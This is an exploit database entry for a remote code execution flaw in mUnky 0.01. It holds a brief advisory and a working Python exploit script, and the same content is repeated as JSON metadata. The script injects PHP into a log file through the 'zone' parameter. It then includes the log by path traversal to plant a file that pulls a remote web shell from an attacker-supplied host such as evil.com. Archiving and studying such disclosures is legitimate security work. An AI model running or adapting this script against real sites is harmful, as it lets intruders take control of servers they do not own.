Search...

mUnky 0.01 - index.php Remote Code Execution

2008-08-15T00:00:00

ID EXPLOITPACK:11ADDC2E7958011B4CD9D37ECDA7E686
Type exploitpack
Reporter Khashayar Fereidani
Modified 2008-08-15T00:00:00

Description

mUnky 0.01 - index.php Remote Code Execution

                                        
                                            source: https://www.securityfocus.com/bid/30705/info

mUnky is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue allows attackers to cause the application to execute arbitrary script code in the context of the application; other attacks are also possible. 

mport httplib,urllib

site=raw_input('Site [Ex www.r3d.com]: ')

path=raw_input('Path [Ex /munky]: ')

shell=raw_input('Shell [Ex http://evil.com/shell.txt]: ')

print "[*]Powered by : R3d.W0rm - r3d.w0rm (at) yahoo (dot) com [email concealed]"

conn=httplib.HTTPConnection(site)

print "[*]Connected to " + site

print "[*]Sending shell code ..."

conn.request('GET',path + "/?zone=&lt;?php%20$fp=fopen('r3d.w0rm.php','w%2B');fwrite($fp,'&lt;?php%20inc
lude%20\\'" + shell + "\\';?&gt;');fclose($fp);?&gt;")

print "[*]Running shell code ..."

data=urllib.urlopen('http://' + site + path + '/?zone=../logs/counts.log%00')

print "[*]Shell created"

print "[*]" + site + path + '/r3d.w0rm.php'

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:05:59", "references": [], "description": "\nmUnky 0.01 - index.php Remote Code Execution", "edition": 1, "reporter": "Khashayar Fereidani", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2008-08-15T00:00:00", "title": "mUnky 0.01 - index.php Remote Code Execution", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:05:59", "rev": 2}, "score": {"value": -0.1, "vector": "NONE", "modified": "2020-04-01T19:05:59", "rev": 2}, "vulnersScore": -0.1}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2008-08-15T00:00:00", "id": "EXPLOITPACK:11ADDC2E7958011B4CD9D37ECDA7E686", "href": "", "viewCount": 0, "sourceData": "source: https://www.securityfocus.com/bid/30705/info\n\nmUnky is prone to a remote code-execution vulnerability because the application fails to properly sanitize user-supplied input.\n\nExploiting this issue allows attackers to cause the application to execute arbitrary script code in the context of the application; other attacks are also possible. \n\nmport httplib,urllib\n\nsite=raw_input('Site [Ex www.r3d.com]: ')\n\npath=raw_input('Path [Ex /munky]: ')\n\nshell=raw_input('Shell [Ex http://evil.com/shell.txt]: ')\n\nprint \"[*]Powered by : R3d.W0rm - r3d.w0rm (at) yahoo (dot) com [email concealed]\"\n\nconn=httplib.HTTPConnection(site)\n\nprint \"[*]Connected to \" + site\n\nprint \"[*]Sending shell code ...\"\n\nconn.request('GET',path + \"/?zone=<?php%20$fp=fopen('r3d.w0rm.php','w%2B');fwrite($fp,'<?php%20inc\nlude%20\\\\'\" + shell + \"\\\\';?>');fclose($fp);?>\")\n\nprint \"[*]Running shell code ...\"\n\ndata=urllib.urlopen('http://' + site + path + '/?zone=../logs/counts.log%00')\n\nprint \"[*]Shell created\"\n\nprint \"[*]\" + site + path + '/r3d.w0rm.php'", "cvss": {"score": 0.0, "vector": "NONE"}}